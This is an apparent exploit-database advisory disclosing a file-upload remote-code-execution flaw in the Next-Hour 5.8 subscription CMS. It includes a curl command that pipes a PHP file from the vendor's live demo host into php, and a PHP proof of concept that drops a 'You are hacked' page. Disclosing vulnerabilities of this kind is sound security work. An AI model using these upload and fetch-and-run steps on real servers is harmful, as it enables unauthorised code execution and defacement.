Next-Hour-5.8 - File Upload - RCE

2024.01.07
Risk: High
Local: Yes
Remote: Yes
CVE: N/A
CWE: N/A

## Title: Next-Hour-5.8 - File Upload - RCE ## Author: nu11secur1ty ## Date: 01/06/2024 ## Vendor: https://codecanyon.net/user/media-city ## Software: https://codecanyon.net/item/next-hour-movie-tv-show-video-subscription-portal-cms-web-and-mobile-app/24626244?ref= ## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload ## Description: The class="input-file" id="image" parameter is vulnerable to File Upload and RCE attacks, it is not sanitized correctly. The attacker can upload a virus directly on the server by using this web vulnerability, and then he can execute it, this can be the end of this server depending on the scenario! In this case, I just uploaded a php exploit that makes a hacked.html file =) I am a Penetration Tester, not a stupid cracker! Thank you all! STATUS: HIGH-CRITICAL Vulnerability [+]Exploit execution: ```curl curl -s https://nexthour.mediacity.co.in/images/users/user_1704535102rapist.php | php ``` [+]Exploit example code: ```PHP <?php // @nu11secur1ty 2024 $myfile = fopen("hacked.html", "w") or die("Unable to open file!"); $txt = "<p>You are hacked</p>\n"; fwrite($myfile, $txt); $txt = "<p>This is not good for you</p>\n"; fwrite($myfile, $txt); fclose($myfile); ?> ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mediacity.co.in/2024/Next-Hour-5.8) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2024/01/next-hour-58-file-upload-rce.html) ## Time spent: 00:35:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top